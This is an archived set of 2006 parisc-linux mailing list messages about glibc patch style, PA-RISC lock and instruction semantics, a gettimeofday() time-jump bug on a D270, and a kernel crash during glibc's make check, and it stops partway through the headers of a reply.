	by free.linux.hp.com (Postfix) with ESMTP id 6D2BA7D6DF;
	Sat, 26 Aug 2006 15:42:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22055-08; Sat, 26 Aug 2006 15:42:40 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 95DD67D6E0;
	Sat, 26 Aug 2006 15:42:38 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3F3C47D6CE
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Aug 2006 15:42:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22055-05 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Aug 2006 15:42:35 -0600 (MDT)
Original-Received: from smtp.gentoo.org (smtp.gentoo.org [140.211.166.183])
	by free.linux.hp.com (Postfix) with ESMTP id ED6617D646
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Aug 2006 15:42:34 -0600 (MDT)
Original-Received: from home.wh0rd.org (localhost [127.0.0.1])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by smtp.gentoo.org (Postfix) with ESMTP id 5926D64677
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Aug 2006 21:42:33 +0000 (UTC)
Original-Received: (qmail 26987 invoked from network); 26 Aug 2006 17:40:50 -0400
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 26 Aug 2006 17:40:50 -0400
User-Agent: KMail/1.9.4
In-Reply-To: <119aab440608260809v26134ee2w46e5166168607a5f@mail.gmail.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: YPLJfCNVYW0+VLuGbmZpKyJ0amthc5v5
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23908

--===============1945002868==
Content-Type: multipart/signed; boundary="nextPart3146273.IVREhkUUZ3";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart3146273.IVREhkUUZ3
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

On Saturday 26 August 2006 11:09, Carlos O'Donell wrote:
> I appreciate it if you say "Is this patch correct?" or some indication
> that it is not final. I spend a different amount of time reviewing
> final patches than just initial hacks.

sorry, my mistake ... i'll keep that in mind in the future

> > > Please avoid superflous style changes.
> >
> > it isnt superfluous, it is the "GNU standard" and the way all other arch
> > mman.h headers are done ... so while i personally consider the GNU codi=
ng
> > standard complete garbage, glibc is a GNU project and adheres pretty
> > rigidly to the GNU coding standard
>
> I don't see a requirement for left single quote and right single quote
> in comments?

as i said i was simply doing exactly what every other arch port in glibc is=
=20
doing ... if you want to keep hppa different, well you're the maintainer ;)

> Thank you. Could you put together another patch please? If you haven't
> done a build test please tell me.

i just do cross-compile builds as my hppa's are too painfully slow to do=20
development natively :)
=2Dmike

--nextPart3146273.IVREhkUUZ3
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.5 (GNU/Linux)

iQIVAwUARPDAp0FjO5/oN/WBAQJ6mxAAimmeResj9aVp7vqO4hYPoPuUyLi1SJCR
sW5UTBr2oNL+1nNIrO457jIyPTVGgrTKQJ0ew3DVyG3r00gwORPsMw9L8mOdejVb
Ogw71hBpg97JG8E9HlELi2VygksDZ/dUnTW/PmkZAyOMp994efZYeJ2jcRG9kaM1
z0xq4IQfVutj5RF4q9w2THOfCe1JsurLxNXvazwZFbNg6PYLTMDtT51mArspVtS6
4ZYhghelHrNWiR2Vl7Xnw//NybP2SgEM9GTKuAkPZ3bNzm0uiE9KGcsSngdkhnDj
OrcX6EPAgE/oC+7cu6UkeF9RgAFB0l4r/mMzAgO23hGGW3gitDlkTuP8w/bF7SFM
rg3agQkeRqokMeYJOvNTaWPcjJLcofLksxOBPn/kLgMMymSyan/2wIO7JB8mpe7K
+FvSHlLLwPwl6Myo4nZpDmTjyRpynwdrJOn5NBtP8InxwxYHlZFzuPu6PIE1zb5M
4018zgkFN0lbgHc8XLvcesd3EMQb79QwWk2fPa6p34NySAEo6zA6bAxzixrQMoGP
xvEi1jo1Qm+njQHyWXcrkWFJZ4ixZgr+nooI8IpaPRoTYMg7wByZPTducZ4A/RcQ
F/d6PkBvGGIjQXvF/+GXiVZcGSsiESbwVs62ZTmjiQ18ans+ALrxnl+YJz3/YEjo
jnqZJn/nvO4=
=iqjn
-----END PGP SIGNATURE-----

--nextPart3146273.IVREhkUUZ3--

--===============1945002868==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1945002868==--



From - Thu Nov 08 21:35:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How hp implemented 'undefined instruction'?
Date: Sat, 26 Aug 2006 17:11:47 -0500
Lines: 59
Approved: news@gmane.org
Message-ID: <200608261711.47468.mszick@morethan.org>
References: <44F04733.1050305@scarlet.be>
	<20060826152143.GM1455@athena.road.mcmartin.ca>
	<44F0A3B5.605@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624158 20726 80.91.229.3 (22 Nov 2014 02:42:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:38 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Aug 2006 22:12:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx090) with SMTP; 27 Aug 2006 00:12:02 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 183DF7D7D7;
	Sat, 26 Aug 2006 16:11:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23009-05; Sat, 26 Aug 2006 16:11:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5B83A7D7D9;
	Sat, 26 Aug 2006 16:11:56 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 452F87D7C7
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Aug 2006 16:11:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22932-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Aug 2006 16:11:51 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 056A07D7C5
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Aug 2006 16:11:50 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id k7QMBsAc032498
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Aug 2006 15:11:54 -0700 (PDT)
	(envelope-from mszick@morethan.org)
Original-Received: from [69.68.115.108] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id 0S80WWE2
	authenticated by SMTP; Sat, 26 Aug 2006 15:11:52 -0700 (PDT)
User-Agent: KMail/1.7.2
In-Reply-To: <44F0A3B5.605@scarlet.be>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: XaqSEFZAbXBtTrqHPTQ2ymEqLyUmZQic
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23909

On Sat August 26 2006 14:40, Joel Soete wrote:
>

That seems to be two different situations.
Can be hard to understand even for native English readers.
 
> 
> Ok I understand what you mean but I thought to such e.g. ldcw:
> "The address must be 16-byte aligned. If the address is unaligned, the operation of the instruction is undefined."
> (just for example)
> 

Here, it is "the operation" (how it accomplishes its task) that is undefined.
The instruction definition lists the logical steps the instruction follows when
the operation is aligned.  
There is no list of logical steps for when it is not aligned.

> or may be a better example ssm/mtsm:
> "Setting the PSW Q-bit, PSW{60}, to 1 with this instruction, if it was not already 1, is an undefined operation."
> 

Here, it is what the "result of the operation" is that is undefined.
A software attempt to make a change 0 to 1 and how the hardware follows
that change attempt is not defined.

> I am still trying to understand this soft lockup bug and why this lock is not unlocked? 
>

Ah, yes, the key question.
The results of the tests that you are running now should help us understand the answer.

> (could it be because PSW_I bit is not enabled when we exepted? 
>

No.
But if it is not enabled during the "busy wait" the waiting cpu
will not "see" IPI messages while waiting for the lock.

The "busy wait" time should not be long enough to matter if the
lock is not broken.
If the "busy wait" time happens to be too long with the IPI
messages disabled, then things begin to break.

> The 'atomic' ldcw(,co) doesn't operate as we expect?) 
> 

My favorite theory is that the lock release does not operate
as we expect, but that is only a theory.

> Thanks,
> 	Joel
> 
Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gettimeofday() issue on D270
Date: Sun, 27 Aug 2006 15:17:41 +0200
Lines: 65
Approved: news@gmane.org
Message-ID: <20060827151741.fe94122d.gmsoft@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624159 20729 80.91.229.3 (22 Nov 2014 02:42:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Aug 2006 13:17:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx037) with SMTP; 27 Aug 2006 15:17:52 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 823FD7D7C1;
	Sun, 27 Aug 2006 07:17:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01889-08; Sun, 27 Aug 2006 07:17:48 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C541A7D7C2;
	Sun, 27 Aug 2006 07:17:46 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 962447D7BD
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Aug 2006 07:17:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02613-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Aug 2006 07:17:43 -0600 (MDT)
Original-Received: from smtp-out.coditel.net (smtp-out.coditel.net [212.95.66.33])
	by free.linux.hp.com (Postfix) with ESMTP id 2A3857D7B1
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Aug 2006 07:17:43 -0600 (MDT)
Original-Received: from smtp.coditel.net (localhost.localdomain [127.0.0.1])
	by smtp-out.coditel.net (Postfix) with ESMTP id D2DDEEB1B3
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Aug 2006 15:17:41 +0200 (CEST)
Original-Received: from ibiza.bxl.tuxicoman.be (cable-85.28.84.48.coditel.net
	[85.28.84.48]) by smtp.coditel.net (Postfix) with ESMTP id 540A42FD35
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Aug 2006 15:17:41 +0200 (CEST)
Original-Received: from [2001:6f8:310:300:213:d4ff:fe5c:bd4f]
	(helo=bleh.bxl.tuxicoman.be)
	by ibiza.bxl.tuxicoman.be with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.60) (envelope-from <gmsoft@tuxicoman.be>) id 1GHKVf-00040n-Gf
	for parisc-linux@lists.parisc-linux.org; Sun, 27 Aug 2006 15:17:07 +0200
X-Mailer: Sylpheed version 2.2.5 (GTK+ 2.8.12; i686-pc-linux-gnu)
X-AV-Checked: clean on smtp.coditel.net
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: uKPHDVonQEVsAujDZnVpJrdKNzg2NUJC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23910

Hi all,

I have an issue on my D270 with gettimeofday(). It looks like it's returning the time added with a few amount of seconds (usually 27) each now and then when there is some load on the system.

I've made a simple test program :
        while(gettimeofday(&tv, NULL) == 0) {
                printf("Time : %d sec, %d usec\n", tv.tv_sec, tv.tv_usec);
                sleep(1);
        }

This is the output I get when running it :

Time : 1156682268 sec, 88967 usec
Time : 1156682269 sec, 92621 usec
Time : 1156682270 sec, 95641 usec
Time : 1156682271 sec, 97411 usec
Time : 1156682272 sec, 101165 usec
Time : 1156682273 sec, 103535 usec
Time : 1156682274 sec, 107368 usec
Time : 1156682275 sec, 109810 usec
Time : 1156682276 sec, 112610 usec
Time : 1156682277 sec, 113504 usec
Time : 1156682278 sec, 115311 usec
Time : 1156682279 sec, 117252 usec
Time : 1156682280 sec, 120393 usec
Time : 1156682307 sec, 965178 usec       <-- there is an issue
Time : 1156682282 sec, 123684 usec
Time : 1156682283 sec, 126481 usec
Time : 1156682284 sec, 128473 usec
Time : 1156682285 sec, 130257 usec
Time : 1156682286 sec, 133017 usec
Time : 1156682287 sec, 135863 usec



Depending on the load, this occures more or less often.
This is the kernel I used :
Linux hulk 2.6.17.11-pa6 #4 Sun Aug 27 12:19:25 CEST 2006 parisc PA8000 (PCX-U) GNU/Linux
However, I've seen this issue since quite some time.


I tried to reproduce the same issue on my C3600 with a similar kernel config and I wasn't able to do so even with very high load.

Also, I've changed gettimeoffset() in arch/parisc/kernel/time.c to return only 0 and that avoids the problem.

Could someone please look into this ?


Thanks,
  Guy









_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeff Bailey <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Kernel crash while running glibc's make check
Date: Sun, 27 Aug 2006 11:05:34 -0700
Lines: 62
Approved: news@gmane.org
Message-ID: <20060827180534.GB28838@titanium.v3.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624159 20733 80.91.229.3 (22 Nov 2014 02:42:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Aug 2006 18:05:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx062) with SMTP; 27 Aug 2006 20:05:46 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 49E7E7D70E;
	Sun, 27 Aug 2006 12:05:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06216-09; Sun, 27 Aug 2006 12:05:42 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9E38D7D71B;
	Sun, 27 Aug 2006 12:05:40 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 999687D6F9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Aug 2006 12:05:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06216-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Aug 2006 12:05:35 -0600 (MDT)
Original-Received: from titanium.v3.ca (titanium.v3.ca [69.90.100.5])
	by free.linux.hp.com (Postfix) with ESMTP id 52EDE7D6F8
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Aug 2006 12:05:35 -0600 (MDT)
Original-Received: from titanium.v3.ca (localhost [127.0.0.1])
	by titanium.v3.ca (8.13.2/8.13.2/Debian-1) with ESMTP id k7RI5YjX029341
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT)
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Aug 2006 11:05:34 -0700
Original-Received: (from jbailey@localhost)
	by titanium.v3.ca (8.13.2/8.13.2/Submit) id k7RI5Yux029340
	for parisc-linux@lists.parisc-linux.org; Sun, 27 Aug 2006 11:05:34 -0700
X-Authentication-Warning: titanium.v3.ca: jbailey set sender to
	jbailey@raspberryginger.com using -f
Content-Disposition: inline
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: wuzIcS8teWU7ULeUfHVz50w5U3U4N8+O
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23911

Hi!  As an attempt to help the glibc/NPTL efforts, I've upgraded to a
recent kernel in order to make sure problems I'm seeing that are
triggered by kernel bugs haven't already been fixed.  However, I can no
longer make it through a glibc make check pass.

I have reproduced this twice now, and both times it happens while
running the tst-gettext4.sh script.  It doesn't seem to matter whether
the system has a long or short uptime, or the amount of work done.

Bug report particulars follow:

$ uname -a
Linux test148.lamont 2.6.18-rc4-pa4 #2 Sat Aug 26 08:52:30 EDT 2006 parisc GNU/Linux

This is using the current gcc-4.1 in edgy with a binutils snapshot from
mid-July.

The machine is a j6700.

I am using a serial console.

jbailey@test148:/var/lib/dpkg/info$ cat /proc/cmdline 
root=/dev/sda5 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vmlinuz-2.6.18-rc4-pa4

Noise from the console:

test148.lamont login: kernel BUG at mm/mmap.c:1970!
Backtrace:
 [<1015cd58>] exit_mmap+0x17c/0x19c
 [<10123a70>] mmput+0x48/0xbc
 [<10128f18>] do_exit+0x114/0x8ac
 [<10129728>] do_group_exit+0x78/0xbc
 [<101348c0>] get_signal_to_deliver+0x2c8/0x4cc
 [<1010fab0>] do_signal+0x68/0x814
 [<1010c384>] syscall_do_signal+0x54/0xa0
Kernel panic - not syncing: BUG!
 <3>BUG: scheduling while atomic: ld.so.1/0x00000100/10062
Backtrace:
 [<101023a0>] schedule+0x538/0x724
 [<10138e48>] flush_cpu_workqueue+0xa0/0xf0
 [<10138ee4>] cancel_rearming_delayed_workqueue+0x28/0x60
 [<10231750>] lcd_print+0x58/0x178
 [<10232c44>] process_shutdown+0x3c/0x6c
 [<1012c33c>] tasklet_action+0x6c/0xf4
 [<1012c198>] __do_softirq+0xd8/0xec
 [<10104670>] __lock_text_end+0x48/0x4c
 [<1010b068>] intr_return+0x0/0xc

System map is at http://people.ubuntu.com/~jbailey/System.map-2.6.18-rc4-pa4

The kernel was built with the c3000_defconfig.

-- 
I do not agree with a word you say, but I will defend to the death your
right to say it. 
 - Voltaire
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gettimeofday() issue on D270
Date: Sun, 27 Aug 2006 15:31:07 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <119aab440608271231j3856ea27h7c03e1c9722ae7e1@mail.gmail.com>
References: <20060827151741.fe94122d.gmsoft@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624159 20737 80.91.229.3 (22 Nov 2014 02:42:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Guy Martin" <gmsoft@tuxicoman.be>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Aug 2006 19:31:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx034) with SMTP; 27 Aug 2006 21:31:19 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 41F087D7E0;
	Sun, 27 Aug 2006 13:31:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07720-01; Sun, 27 Aug 2006 13:31:15 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B557C7D7D1;
	Sun, 27 Aug 2006 13:31:13 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 56E8B7D7C2
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Aug 2006 13:31:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07283-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Aug 2006 13:31:08 -0600 (MDT)
Original-Received: from wx-out-0506.google.com (wx-out-0506.google.com [66.249.82.231])
	by free.linux.hp.com (Postfix) with ESMTP id 214737D6F5
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Aug 2006 13:31:08 -0600 (MDT)
